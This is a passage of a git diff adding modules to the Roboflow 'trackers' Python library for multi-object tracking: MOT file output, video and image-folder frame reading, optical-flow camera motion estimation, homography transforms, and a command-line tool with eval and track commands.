dtype=np.float64) + tracker_ids_remapped = np.array([], dtype=np.intp) + + # Compute IoU similarity matrix + similarity = box_iou(gt_boxes, tracker_boxes, box_format="xywh") + + gt_ids_list.append(gt_ids_remapped) + tracker_ids_list.append(tracker_ids_remapped) + similarity_scores_list.append(similarity) + + return _MOTSequenceData( + gt_ids=gt_ids_list, + tracker_ids=tracker_ids_list, + similarity_scores=similarity_scores_list, + num_frames=num_frames, + num_gt_ids=len(sorted_gt_ids), + num_tracker_ids=len(sorted_tracker_ids), + num_gt_dets=num_gt_dets, + num_tracker_dets=num_tracker_dets, + gt_id_mapping=gt_id_mapping, + tracker_id_mapping=tracker_id_mapping, + ) + + +class _MOTOutput: + """Context manager for MOT format file writing.""" + + def __init__(self, path: Path | None): + self.path = path + self._file = None + + def write(self, frame_idx: int, detections: sv.Detections) -> None: + """Write detections for a frame in MOT format.""" + if self._file is None or len(detections) == 0: + return + + for i in range(len(detections)): + x1, y1, x2, y2 = detections.xyxy[i] + w, h = x2 - x1, y2 - y1 + + track_id = ( + int(detections.tracker_id[i]) + if detections.tracker_id is not None + else -1 + ) + conf = ( + float(detections.confidence[i]) + if detections.confidence is not None + else -1.0 + ) + + self._file.write( + f"{frame_idx},{track_id},{x1:.2f},{y1:.2f},{w:.2f},{h:.2f}," + f"{conf:.4f},-1,-1,-1\n" + ) + + def __enter__(self): + if self.path is not None: + self.path.parent.mkdir(parents=True, exist_ok=True) + self._file = open(self.path, "w") + return self + + def __exit__(self, *_): + if self._file is not None: + self._file.close() diff --git a/trackers/io/paths.py b/trackers/io/paths.py new file mode 100644 index 0000000..4a131e0 --- /dev/null +++ b/trackers/io/paths.py @@ -0,0 +1,42 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +"""Path validation and resolution utilities.""" + +from __future__ import annotations + +from pathlib import Path + + +def _resolve_video_output_path(path: Path) -> Path: + """Resolve video output path, handling directories. + + If path is an existing directory, generates 'output.mp4' inside it. + If path has no extension, adds '.mp4'. + """ + if path.is_dir(): + return path / "output.mp4" + if not path.suffix: + return path.with_suffix(".mp4") + return path + + +def _validate_output_path(path: Path, *, overwrite: bool = False) -> None: + """Validate output path and create parent directories if needed. + + Args: + path: Output file path to validate. + overwrite: If True, allow overwriting existing files. + + Raises: + FileExistsError: If path exists and overwrite is False. + """ + path.parent.mkdir(parents=True, exist_ok=True) + + if path.exists() and not overwrite: + raise FileExistsError( + f"Output file '{path}' already exists. Use --overwrite to replace." + ) diff --git a/trackers/io/video.py b/trackers/io/video.py new file mode 100644 index 0000000..51a1500 --- /dev/null +++ b/trackers/io/video.py @@ -0,0 +1,166 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +from __future__ import annotations + +from collections.abc import Iterator +from pathlib import Path + +import cv2 +import numpy as np + +from trackers.io.paths import _resolve_video_output_path + +IMAGE_EXTENSIONS = frozenset({".jpg", ".jpeg", ".png", ".bmp", ".tiff", ".tif"}) +_DEFAULT_OUTPUT_FPS = 30.0 + + +def frames_from_source( + source: str | Path | int, +) -> Iterator[tuple[int, np.ndarray]]: + """Yield numbered BGR frames from video files, webcams, network streams, or image + directories. + + Args: + source: Video file path, RTSP/HTTP stream URL, webcam index, or path to a + directory containing images (`.jpg`, `.jpeg`, `.png`, `.bmp`, `.tif`, + `.tiff`). + + Returns: + Iterator of `(frame_id, frame)` tuples where `frame_id` is 1-based and `frame` + is a `np.ndarray` in BGR format. + + Raises: + ValueError: Source cannot be opened or directory contains no supported images. + OSError: Image file exists but cannot be decoded / read. + RuntimeError: Capture read failure after successful open. + """ + if isinstance(source, (str, Path)) and Path(source).is_dir(): + yield from _iter_image_folder_frames(Path(source)) + else: + yield from _iter_capture_frames(source) + + +def _iter_capture_frames( + src: str | int | Path, +) -> Iterator[tuple[int, np.ndarray]]: + # Convert numeric strings to int for webcam indices + if isinstance(src, str) and src.isdigit(): + src = int(src) + cap = cv2.VideoCapture(str(src) if isinstance(src, Path) else src) + if not cap.isOpened(): + raise ValueError(f"Cannot open video/capture source: {src!r}") + + frame_id = 0 + try: + while True: + ret, frame = cap.read() + if not ret: + break + frame_id += 1 + yield frame_id, frame + except Exception as e: + raise RuntimeError(f"Failed while reading from capture source {src!r}") from e + finally: + cap.release() + + +def _iter_image_folder_frames( + folder: Path, + *, + extensions: frozenset[str] = IMAGE_EXTENSIONS, +) -> Iterator[tuple[int, np.ndarray]]: + images = sorted( + p for p in folder.iterdir() if p.is_file() and p.suffix.lower() in extensions + ) + + if not images: + raise ValueError(f"No supported image files found in directory: {folder}") + + for frame_id, path in enumerate(images, start=1): + frame = cv2.imread(str(path), cv2.IMREAD_COLOR) + if frame is None: + raise OSError(f"Failed to read image: {path}") + yield frame_id, frame + + +class _VideoOutput: + """Context manager for lazy video file writing.""" + + def __init__(self, path: Path | None, *, fps: float = _DEFAULT_OUTPUT_FPS): + self.path = path + self.fps = fps + self._writer: cv2.VideoWriter | None = None + + def write(self, frame: np.ndarray) -> bool: + """Write a frame to the video file. Initializes writer on first call. + + Returns: + True if write succeeded or path is None, False on failure. + """ + if self.path is None: + return True + if self._writer is None: + self._writer = self._create_writer(frame) + if self._writer is None: + return False + self._writer.write(frame) + return True + + def _create_writer(self, frame: np.ndarray) -> cv2.VideoWriter | None: + if self.path is None: + return None + + resolved = _resolve_video_output_path(self.path) + resolved.parent.mkdir(parents=True, exist_ok=True) + + height, width = frame.shape[:2] + fourcc = cv2.VideoWriter_fourcc(*"mp4v") # type: ignore[attr-defined] + writer = cv2.VideoWriter(str(resolved), fourcc, self.fps, (width, height)) + + if not writer.isOpened(): + raise OSError(f"Failed to open video writer for '{resolved}'") + + return writer + + def __enter__(self) -> _VideoOutput: + return self + + def __exit__(self, *_: object) -> None: + if self._writer is not None: + self._writer.release() + + +class _DisplayWindow: + """Context manager for OpenCV display window with resizable output.""" + + def __init__(self, window_name: str = "Tracking"): + self.window_name = window_name + self._quit_requested = False + cv2.namedWindow(self.window_name, cv2.WINDOW_NORMAL | cv2.WINDOW_KEEPRATIO) + + def show(self, frame: np.ndarray) -> bool: + """Display a frame and check for quit key (q or ESC). + + Returns: + True if quit was requested, False otherwise. + """ + cv2.imshow(self.window_name, frame) + key = cv2.waitKey(1) & 0xFF + if key == ord("q") or key == 27: + self._quit_requested = True + return self._quit_requested + + @property + def quit_requested(self) -> bool: + """Return True if user pressed quit key.""" + return self._quit_requested + + def __enter__(self): + return self + + def __exit__(self, *_): + cv2.destroyWindow(self.window_name) diff --git a/trackers/motion/__init__.py b/trackers/motion/__init__.py new file mode 100644 index 0000000..57226e8 --- /dev/null +++ b/trackers/motion/__init__.py @@ -0,0 +1,5 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ diff --git a/trackers/motion/estimator.py b/trackers/motion/estimator.py new file mode 100644 index 0000000..a1b172a --- /dev/null +++ b/trackers/motion/estimator.py @@ -0,0 +1,228 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +from __future__ import annotations + +import cv2 +import numpy as np + +from trackers.motion.transformation import ( + CoordinatesTransformation, + HomographyTransformation, + IdentityTransformation, +) + +_OPTICAL_FLOW_WINDOW_SIZE = (21, 21) +_OPTICAL_FLOW_MAX_PYRAMID_LEVEL = 3 +_OPTICAL_FLOW_MAX_ITERATIONS = 30 +_OPTICAL_FLOW_EPSILON = 0.01 +_MIN_POINTS_FOR_HOMOGRAPHY = 4 + + +class MotionEstimator: + """Estimates camera motion between consecutive video frames. + + Uses sparse optical flow (Lucas-Kanade) to track feature points and computes + the geometric transformation between frames. Accumulates transformations to + maintain a consistent world coordinate system relative to the first frame. + + Args: + max_points: Maximum number of feature points to track. More points + increase accuracy but reduce speed. Default: 200. + min_distance: Minimum distance between detected feature points. + Larger values spread points more evenly. Default: 15. + block_size: Size of the averaging block for corner detection. + Larger values make detection less sensitive to noise. Default: 3. + quality_level: Quality threshold for corner detection (0-1). + Higher values detect fewer, stronger corners. Default: 0.01. + ransac_reproj_threshold: RANSAC inlier threshold in pixels. + Points with reprojection error below this are considered inliers. + Default: 3.0. + + Example: + ```python + import cv2 + from trackers.motion import MotionEstimator + + estimator = MotionEstimator() + + cap = cv2.VideoCapture("video.mp4") + while True: + ret, frame = cap.read() + if not ret: + break + + # Get transformation for this frame + coord_transform = estimator.update(frame) + + # Transform trajectory points from world to frame coordinates + frame_points = coord_transform.abs_to_rel(world_trajectory) + ``` + """ + + def __init__( + self, + max_points: int = 200, + min_distance: int = 15, + block_size: int = 3, + quality_level: float = 0.01, + ransac_reproj_threshold: float = 3.0, + ) -> None: + self.max_points = max_points + self.min_distance = min_distance + self.block_size = block_size + self.quality_level = quality_level + self.ransac_reproj_threshold = ransac_reproj_threshold + + self._optical_flow_params = dict( + winSize=_OPTICAL_FLOW_WINDOW_SIZE, + maxLevel=_OPTICAL_FLOW_MAX_PYRAMID_LEVEL, + criteria=( + cv2.TERM_CRITERIA_EPS | cv2.TERM_CRITERIA_COUNT, + _OPTICAL_FLOW_MAX_ITERATIONS, + _OPTICAL_FLOW_EPSILON, + ), + ) + + self._previous_grayscale: np.ndarray | None = None + self._previous_features: np.ndarray | None = None + self._accumulated_homography: np.ndarray = np.eye(3, dtype=np.float64) + + def update(self, frame: np.ndarray) -> CoordinatesTransformation: + """Process a new frame and return the coordinate transformation. + + The returned transformation converts between: + - Absolute coordinates: Position relative to the first frame + - Relative coordinates: Position in the current frame + + Args: + frame: Current video frame (BGR or grayscale). + + Returns: + `CoordinatesTransformation` for converting between absolute and + relative coordinates. Returns `IdentityTransformation` for the + first frame or if motion estimation fails. + """ + if len(frame.shape) == 3: + grayscale = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) + else: + grayscale = frame.copy() + + if self._previous_grayscale is None: + self._previous_grayscale = grayscale + self._previous_features = self._find_features(grayscale) + return IdentityTransformation() + + current_features = self._find_features(grayscale) + + if ( + self._previous_features is None + or len(self._previous_features) < _MIN_POINTS_FOR_HOMOGRAPHY + ): + self._previous_grayscale = grayscale + self._previous_features = current_features + return self._get_current_transformation() + + tracked_points, status, _ = cv2.calcOpticalFlowPyrLK( + self._previous_grayscale, + grayscale, + self._previous_features, + None, + **self._optical_flow_params, + ) + + if tracked_points is None: + self._previous_grayscale = grayscale + self._previous_features = current_features + return self._get_current_transformation() + + status = status.flatten() + valid_previous = self._previous_features[status == 1] + valid_current = tracked_points[status == 1] + + if len(valid_previous) < _MIN_POINTS_FOR_HOMOGRAPHY: + self._previous_grayscale = grayscale + self._previous_features = current_features + return self._get_current_transformation() + + transform = self._estimate_homography(valid_previous, valid_current) + + self._previous_grayscale = grayscale + self._previous_features = current_features + + if transform is None: + return self._get_current_transformation() + + return transform + + def _find_features(self, grayscale: np.ndarray) -> np.ndarray | None: + """Detect good features to track in the grayscale image. + + Args: + grayscale: Grayscale image. + + Returns: + Array of feature points of shape `(N, 1, 2)`, or `None` if no + features found. + """ + return cv2.goodFeaturesToTrack( + grayscale, + maxCorners=self.max_points, + qualityLevel=self.quality_level, + minDistance=self.min_distance, + blockSize=self.block_size, + ) + + def _estimate_homography( + self, previous_points: np.ndarray, current_points: np.ndarray + ) -> CoordinatesTransformation | None: + """Estimate homography transformation between point sets. + + Args: + previous_points: Points from previous frame. + current_points: Corresponding points in current frame. + + Returns: + `HomographyTransformation` or `None` if estimation fails. + """ + previous_points_2d = previous_points.reshape(-1, 2) + current_points_2d = current_points.reshape(-1, 2) + + homography_matrix, _ = cv2.findHomography( + previous_points_2d, + current_points_2d, + cv2.RANSAC, + self.ransac_reproj_threshold, + ) + + if homography_matrix is None: + return None + + # H_total = H_current @ H_previous gives transformation from frame 0 + self._accumulated_homography = homography_matrix @ self._accumulated_homography + + return HomographyTransformation(self._accumulated_homography) + + def _get_current_transformation(self) -> CoordinatesTransformation: + """Get the current accumulated transformation. + + Returns: + The accumulated transformation, or IdentityTransformation + if no motion has been estimated yet. + """ + if np.allclose(self._accumulated_homography, np.eye(3)): + return IdentityTransformation() + return HomographyTransformation(self._accumulated_homography) + + def reset(self) -> None: + """Reset the estimator state. + + Call this when starting a new video or when you want to reset the + world coordinate system to the current frame. + """ + self._previous_grayscale = None + self._previous_features = None + self._accumulated_homography = np.eye(3, dtype=np.float64) diff --git a/trackers/motion/transformation.py b/trackers/motion/transformation.py new file mode 100644 index 0000000..64fb1d6 --- /dev/null +++ b/trackers/motion/transformation.py @@ -0,0 +1,146 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +from __future__ import annotations + +from abc import ABC, abstractmethod + +import numpy as np + + +class CoordinatesTransformation(ABC): + """Abstract base class for coordinate transformations. + + Subclasses implement specific transformation types that convert points between + absolute (world) and relative (frame) coordinates. + """ + + @abstractmethod + def abs_to_rel(self, points: np.ndarray) -> np.ndarray: + """Transform points from absolute (world) to relative (frame) coordinates. + + Args: + points: Array of shape `(N, 2)` containing `(x, y)` coordinates + in absolute/world space. + + Returns: + Array of shape `(N, 2)` containing `(x, y)` coordinates + in relative/frame space. + """ + pass + + @abstractmethod + def rel_to_abs(self, points: np.ndarray) -> np.ndarray: + """Transform points from relative (frame) to absolute (world) coordinates. + + Args: + points: Array of shape `(N, 2)` containing `(x, y)` coordinates + in relative/frame space. + + Returns: + Array of shape `(N, 2)` containing `(x, y)` coordinates + in absolute/world space. + """ + pass + + +class IdentityTransformation(CoordinatesTransformation): + """No-op transformation where absolute and relative coordinates are identical. + + Used for the first frame (before any camera motion is detected) or when + motion estimation fails. + """ + + def abs_to_rel(self, points: np.ndarray) -> np.ndarray: + """Return points unchanged.""" + return np.atleast_2d(points).copy() + + def rel_to_abs(self, points: np.ndarray) -> np.ndarray: + """Return points unchanged.""" + return np.atleast_2d(points).copy() + + +class HomographyTransformation(CoordinatesTransformation): + """Full perspective transformation using a 3x3 homography matrix. + + Supports rotation, translation, scaling, and perspective changes. + This is the most general transformation type, suitable for any camera motion. + + The homography matrix maps points from the first frame (absolute) to the + current frame (relative). The inverse matrix is computed automatically + for the reverse transformation. + + Args: + homography_matrix: 3x3 homography matrix that transforms points from + absolute (first frame) coordinates to relative (current frame) + coordinates. + + Raises: + ValueError: If the matrix is not 3x3. + + Example: + ```python + import numpy as np + + from trackers import HomographyTransformation + + homography_matrix = np.array([ + [1.0, 0.0, 10.0], + [0.0, 1.0, 20.0], + [0.0, 0.0, 1.0], + ]) + transform = HomographyTransformation(homography_matrix) + + world_points = np.array([[100, 200], [300, 400]]) + frame_points = transform.abs_to_rel(world_points) + ``` + """ + + def __init__(self, homography_matrix: np.ndarray) -> None: + self.homography_matrix = np.array(homography_matrix, dtype=np.float64) + if self.homography_matrix.shape != (3, 3): + raise ValueError( + f"Homography matrix must be 3x3, got {self.homography_matrix.shape}" + ) + self.inverse_homography_matrix = np.linalg.inv(self.homography_matrix) + + def _transform_points(self, points: np.ndarray, matrix: np.ndarray) -> np.ndarray: + """Apply homography transformation to points. + + Args: + points: Array of shape `(N, 2)` containing `(x, y)` coordinates. + matrix: 3x3 homography matrix to apply. + + Returns: + Transformed points of shape `(N, 2)`. + """ + points = np.atleast_2d(points) + if len(points) == 0: + return points + + ones = np.ones((len(points), 1)) + homogeneous_points = np.hstack((points[:, :2], ones)) + transformed = homogeneous_points @ matrix.T + + # Normalize: (x', y', w') -> (x'/w', y'/w') + # Points with w <= 0 or very small w are numerically unstable + # (they map through infinity in projective space) + homogeneous_scale = transformed[:, 2:3] + min_scale = 1e-4 + homogeneous_scale = np.where( + np.abs(homogeneous_scale) < min_scale, + np.sign(homogeneous_scale + 1e-10) * min_scale, + homogeneous_scale, + ) + return transformed[:, :2] / homogeneous_scale + + def abs_to_rel(self, points: np.ndarray) -> np.ndarray: + """Transform from absolute (world) to relative (frame) coordinates.""" + return self._transform_points(points, self.homography_matrix) + + def rel_to_abs(self, points: np.ndarray) -> np.ndarray: + """Transform from relative (frame) to absolute (world) coordinates.""" + return self._transform_points(points, self.inverse_homography_matrix) diff --git a/trackers/scripts/__init__.py b/trackers/scripts/__init__.py new file mode 100644 index 0000000..57226e8 --- /dev/null +++ b/trackers/scripts/__init__.py @@ -0,0 +1,5 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ diff --git a/trackers/scripts/__main__.py b/trackers/scripts/__main__.py new file mode 100644 index 0000000..b373c8e --- /dev/null +++ b/trackers/scripts/__main__.py @@ -0,0 +1,66 @@ +#!/usr/bin/env python +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +from __future__ import annotations + +import argparse +import sys +import warnings + + +def main() -> int: + """Main entry point for the trackers CLI.""" + # Beta warning + warnings.warn( + "The trackers CLI is in beta. APIs may change in future releases.", + UserWarning, + stacklevel=2, + ) + + parser = argparse.ArgumentParser( + prog="trackers", + description="Command-line tools for multi-object tracking.", + epilog="For more information, visit: https://github.com/roboflow/trackers", + ) + parser.add_argument( + "--version", + action="store_true", + help="Show version and exit.", + ) + + subparsers = parser.add_subparsers( + dest="command", + title="commands", + description="Available commands:", + ) + + # Import and register subcommands + from trackers.scripts.eval import add_eval_subparser + from trackers.scripts.track import add_track_subparser + + add_eval_subparser(subparsers) + add_track_subparser(subparsers) + + # Parse arguments + args = parser.parse_args() + + if args.version: + from importlib.metadata import version + + print(f"trackers {version('trackers')}") + return 0 + + if args.command is None: + parser.print_help() + return 0 + + # Execute the command + return args.func(args) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/trackers/scripts/eval.py b/trackers/scripts/eval.py new file mode 100644 index 0000000..7bd25f2 --- /dev/null +++ b/trackers/scripts/eval.py @@ -0,0 +1,169 @@ +#!/usr/bin/env python +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +from __future__ import annotations + +import argparse +import logging +import sys +from pathlib import Path + + +def add_eval_subparser(subparsers: argparse._SubParsersAction) -> None: + """Add the eval subcommand to the argument parser.""" + parser = subparsers.add_parser( + "eval", + help="Evaluate tracker predictions against ground truth.", + description=__doc__, + formatter_class=argparse.RawDescriptionHelpFormatter, + ) + + # Single sequence mode + single_group = parser.add_argument_group("single sequence evaluation") + single_group.add_argument( + "--gt", + type=Path, + metavar="PATH", + help="Path to ground truth file (MOT format).", + ) + single_group.add_argument( + "--tracker", + type=Path, + metavar="PATH", + help="Path to tracker predictions file (MOT format).", + ) + + # Benchmark mode + bench_group = parser.add_argument_group("benchmark evaluation") + bench_group.add_argument( + "--gt-dir", + type=Path, + metavar="DIR", + help="Directory containing ground truth files.", + ) + bench_group.add_argument( + "--tracker-dir", + type=Path, + metavar="DIR", + help="Directory containing tracker prediction files.", + ) + bench_group.add_argument( + "--seqmap", + type=Path, + metavar="PATH", + help="Sequence map file listing sequences to evaluate.", + ) + + # Common options + parser.add_argument( + "--metrics", + nargs="+", + default=["CLEAR"], + choices=["CLEAR", "HOTA", "Identity"], + help="Metrics to compute. Default: CLEAR. Options: CLEAR, HOTA, Identity", + ) + parser.add_argument( + "--threshold", + type=float, + default=0.5, + help="IoU threshold for CLEAR and Identity matching. Default: 0.5", + ) + parser.add_argument( + "--columns", + nargs="+", + default=None, + metavar="COL", + help=( + "Metric columns to display. Default: auto-selected based on metrics. " + "CLEAR: MOTA, MOTP, MODA, CLR_Re, CLR_Pr, MTR, PTR, MLR, sMOTA, " + "CLR_TP, CLR_FN, CLR_FP, IDSW, MT, PT, ML, Frag. " + "HOTA: HOTA, DetA, AssA, DetRe, DetPr, AssRe, AssPr, LocA. " + "Identity: IDF1, IDR, IDP, IDTP, IDFN, IDFP" + ), + ) + parser.add_argument( + "--output", + "-o", + type=Path, + metavar="PATH", + help="Output file for results (JSON format).", + ) + + parser.set_defaults(func=run_eval) + + +def run_eval(args: argparse.Namespace) -> int: + """Execute the eval command.""" + # Configure logging to show detection info + logging.basicConfig( + level=logging.INFO, + format="%(message)s", + handlers=[logging.StreamHandler(sys.stderr)], + ) + + # Validate arguments + single_mode = args.gt is not None and args.tracker is not None + benchmark_mode = args.gt_dir is not None and args.tracker_dir is not None + + if not single_mode and not benchmark_mode: + print( + "Error: Must specify either --gt/--tracker or --gt-dir/--tracker-dir", + file=sys.stderr, + ) + return 1 + + if single_mode and benchmark_mode: + print( + "Error: Cannot use both single sequence and benchmark mode", + file=sys.stderr, + ) + return 1 + + # Columns: None means auto-select based on available metrics + columns = args.columns + + # Import evaluation functions + from trackers.eval import evaluate_mot_sequence, evaluate_mot_sequences + + try: + if single_mode: + seq_result = evaluate_mot_sequence( + gt_path=args.gt, + tracker_path=args.tracker, + metrics=args.metrics, + threshold=args.threshold, + ) + print(seq_result.table(columns=columns)) + + # Save results if output specified + if args.output: + args.output.parent.mkdir(parents=True, exist_ok=True) + args.output.write_text(seq_result.json()) + print(f"\nResults saved to: {args.output}") + else: + bench_result = evaluate_mot_sequences( + gt_dir=args.gt_dir, + tracker_dir=args.tracker_dir, + seqmap=args.seqmap, + metrics=args.metrics, + threshold=args.threshold, + ) + print(bench_result.table(columns=columns)) + + # Save results if output specified + if args.output: + bench_result.save(args.output) + print(f"\nResults saved to: {args.output}") + + except FileNotFoundError as e: + print(f"Error: {e}", file=sys.stderr) + return 1 + except ValueError as e: + print(f"Error: {e}", file=sys.stderr) + return 1 + + return 0 diff --git a/trackers/scripts/progress.py b/trackers/scripts/progress.py new file mode 100644 index 0000000..003b67a --- /dev/null +++ b/trackers/scripts/progress.py @@ -0,0 +1,240 @@ +#!/usr/bin/env python +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +from __future__ import annotations + +import itertools +import time +from dataclasses import dataclass +from pathlib import Path +from typing import Literal + +import cv2 +from rich.console import Console +from rich.live import Live +from rich.text import Text + +from trackers.io.video import IMAGE_EXTENSIONS + +_SPINNER_FRAMES = "⠋⠙⠹⠸⠼⠴⠦⠧⠇⠏" +_STREAM_PREFIXES = ("rtsp://", "http://", "https://") +_ICON_OK = "✓" +_ICON_FAIL = "✗" + + +@dataclass +class _SourceInfo: + """Metadata about a frame source used to drive progress display. + + Attributes: + source_type: Kind of source (`video`, `image_dir`, `webcam`, + `stream`). + total_frames: Total frame count when known, `None` for unbounded + sources such as webcams and network streams. + fps: Source frame-rate when known, `None` otherwise. + """ + + source_type: Literal["video", "image_dir", "webcam", "stream"] + total_frames: int | None = None + fps: float | None = None + + +def _classify_source(source: str | Path | int) -> _SourceInfo: + """Classify a frame source and extract metadata. + + The function inspects *source* without consuming any frames so it can be + called before the main processing loop. + + Args: + source: The same value accepted by `frames_from_source`. + + Returns: + A `_SourceInfo` describing the source. + """ + if isinstance(source, int) or (isinstance(source, str) and source.isdigit()): + return _SourceInfo(source_type="webcam") + + source_str = str(source) + + if any(source_str.lower().startswith(p) for p in _STREAM_PREFIXES): + return _SourceInfo(source_type="stream") + + path = Path(source_str) + if path.is_dir(): + count = sum( + 1 + for p in path.iterdir() + if p.is_file() and p.suffix.lower() in IMAGE_EXTENSIONS + ) + return _SourceInfo( + source_type="image_dir", + total_frames=count if count > 0 else None, + ) + + cap = cv2.VideoCapture(source_str) + if not cap.isOpened(): + # Cannot open; still classify as video - the real error will come + # from frames_from_source later. + return _SourceInfo(source_type="video") + + try: + total = int(cap.get(cv2.CAP_PROP_FRAME_COUNT)) + fps = cap.get(cv2.CAP_PROP_FPS) + return _SourceInfo( + source_type="video", + total_frames=total if total > 0 else None, + fps=fps if fps and fps > 0 else None, + ) + finally: + cap.release() + + +def _format_time(seconds: float) -> str: + """Format `seconds` as `H:MM:SS` or `M:SS`.""" + if seconds < 0: + return "--" + minutes, seconds_remainder = divmod(int(seconds), 60) + hours, minutes = divmod(minutes, 60) + if hours > 0: + return f"{hours}:{minutes:02d}:{seconds_remainder:02d}" + return f"{minutes}:{seconds_remainder:02d}" + + +class _TrackingProgress: + """Context-manager that renders a single live progress line. + + Args: + source_info: Source metadata returned by `_classify_source`. + console: Optional `Console` instance (useful for testing with a + `StringIO` file). + """ + + def __init__( + self, + source_info: _SourceInfo, + console: Console | None = None, + ) -> None: + self._source_info = source_info + self._console = console or Console() + self._frames_processed = 0 + self._start_time: float = 0.0 + self._spinner = itertools.cycle(_SPINNER_FRAMES) + self._live: Live | None = None + self._interrupted = False + + def update(self) -> None: + """Record one processed frame and refresh the display.""" + self._frames_processed += 1 + icon = next(self._spinner) + if self._live is not None: + self._live.update(self._build_line(icon)) + + def complete(self, *, interrupted: bool = False) -> None: + """Signal that the processing loop has ended. + + Must be called before leaving the `with` block so that `__exit__` + can render the correct final state. + + Args: + interrupted: `True` when the loop was terminated early (e.g. + display-quit). + """ + self._interrupted = interrupted + + def __enter__(self) -> _TrackingProgress: + self._start_time = time.monotonic() + self._live = Live( + self._build_line("⠋"), + console=self._console, + refresh_per_second=12, + transient=True, + ) + self._live.__enter__() + return self + + def __exit__( + self, + exc_type: type[BaseException] | None, + exc_val: BaseException | None, + exc_tb: object, + ) -> None: + if self._live is not None: + self._live.__exit__(None, None, None) + + icon, suffix = self._resolve_final_state(exc_type) + final = self._build_line(icon, show_eta=False, suffix=suffix) + self._console.print(final) + + @property + def _is_bounded(self) -> bool: + """Whether the source has a known total frame count.""" + return self._source_info.total_frames is not None + + def _resolve_final_state( + self, exc_type: type[BaseException] | None + ) -> tuple[str, str]: + """Return `(icon, suffix)` for the final printed line.""" + is_real_error = exc_type is not None and not issubclass( + exc_type, KeyboardInterrupt + ) + + if is_real_error: + return (_ICON_FAIL, "(source lost)") + + was_stopped_early = exc_type is not None or self._interrupted + + if was_stopped_early and self._is_bounded: + return (_ICON_FAIL, "(interrupted)") + + return (_ICON_OK, "") + + def _build_line( + self, + icon: str, + *, + show_eta: bool = True, + suffix: str = "", + ) -> Text: + """Compose the single-line progress string.""" + elapsed = time.monotonic() - self._start_time + fps = self._frames_processed / elapsed if elapsed > 0 else 0.0 + total = self._source_info.total_frames + + if total is not None: + total_str = str(total) + frames_part = f"{self._frames_processed:>{len(total_str)}} / {total_str}" + else: + frames_part = f"{self._frames_processed} / --" + + if total is not None and total > 0: + percentage = self._frames_processed / total * 100 + percentage_part = f"{percentage:>3.0f}%" + else: + percentage_part = " --" + + fps_part = f"{fps:>.1f} fps" + elapsed_part = f"{_format_time(elapsed)} elapsed" + + parts = [ + f"{icon} Tracking", + f"{frames_part} frames", + percentage_part, + fps_part, + elapsed_part, + ] + + if show_eta: + if total is not None and fps > 0: + remaining = (total - self._frames_processed) / fps + parts.append(f"eta {_format_time(remaining)}") + else: + parts.append("eta --") + + if suffix: + parts.append(suffix) + + return Text(" ".join(parts)) diff --git a/trackers/scripts/track.py b/trackers/scripts/track.py new file mode 100644 index 0000000..a1a2696 --- /dev/null +++ b/trackers/scripts/track.py @@ -0,0 +1,648 @@ +#!/usr/bin/env python +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +from __future__ import annotations + +import argparse +import sys +from contextlib import nullcontext +from pathlib import Path + +import numpy as np +import supervision as sv + +from trackers import frames_from_source +from trackers.core.base import BaseTracker +from trackers.io.mot import _load_mot_file, _mot_frame_to_detections, _MOTOutput +from trackers.io.paths import _resolve_video_output_path, _validate_output_path +from trackers.io.video import _DEFAULT_OUTPUT_FPS, _DisplayWindow, _VideoOutput +from trackers.scripts.progress import _classify_source, _TrackingProgress +from trackers.utils.device import _best_device + +# Defaults +DEFAULT_MODEL = "rfdetr-nano" +DEFAULT_TRACKER = "bytetrack" +DEFAULT_CONFIDENCE = 0.5 +DEFAULT_DEVICE = "auto" + +# Visualization +COLOR_PALETTE = sv.ColorPalette.from_hex( + [ + "#ffff00", + "#ff9b00", + "#ff8080", + "#ff66b2", + "#ff66ff", + "#b266ff", + "#9999ff", + "#3399ff", + "#66ffff", + "#33ff99", + "#66ff66", + "#99ff00", + ] +) + + +def add_track_subparser(subparsers: argparse._SubParsersAction) -> None: + """Add the track subcommand to the argument parser.""" + parser = subparsers.add_parser( + "track", + help="Track objects in video using detection and tracking.", + description=__doc__, + formatter_class=argparse.RawDescriptionHelpFormatter, + ) + + # Source options + source_group = parser.add_argument_group("source") + source_group.add_argument( + "--source", + type=str, + required=True, + metavar="PATH", + help="Video file, webcam index (0), RTSP URL, or image directory.", + ) + + # Detection options (mutually exclusive) + detection_group = parser.add_argument_group("detection") + det_mutex = detection_group.add_mutually_exclusive_group(required=False) + det_mutex.add_argument( + "--model", + type=str, + default=DEFAULT_MODEL, + metavar="ID", + help=( + "Model ID for detection. Pretrained: rfdetr-nano, rfdetr-base, etc. " + f"Custom: workspace/project/version. Default: {DEFAULT_MODEL}" + ), + ) + det_mutex.add_argument( + 